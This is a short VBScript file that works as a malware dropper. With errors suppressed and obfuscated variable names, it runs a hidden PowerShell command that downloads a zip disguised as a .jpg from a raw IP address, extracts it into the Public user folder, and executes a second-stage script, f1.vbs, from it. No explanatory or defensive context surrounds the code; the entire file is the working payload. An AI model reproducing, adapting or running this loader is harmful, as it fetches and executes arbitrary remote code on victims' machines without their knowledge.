On Error Resume Next
Sub ExecuteCommand()
    Dim shellExecutor, GHCwtED
    Set shellExecutor = CreateObject("WScript.Shell")
    GHCwtED = "powershell.exe Start-BitsTransfer" 
    GHCwtED = GHCwtED & " -Source 'http://185.81.157.105:555/d.jpg'"
    GHCwtED = GHCwtED & " -Destination 'C:\Users\Public\ben.zip'"
    GHCwtED = GHCwtED & ";Expand-Archive"
    GHCwtED = GHCwtED & " -Path 'C:\Users\Public\ben.zip'"
    GHCwtED = GHCwtED & " -DestinationPath 'C:\Users\Public\'"
    GHCwtED = GHCwtED & " -Force"
    shellExecutor.Run GHCwtED, 0, True
    shellExecutor.Run "C:\Users\Public\f1.vbs", 1, False
End Sub

' استدعاء الدالة
ExecuteCommand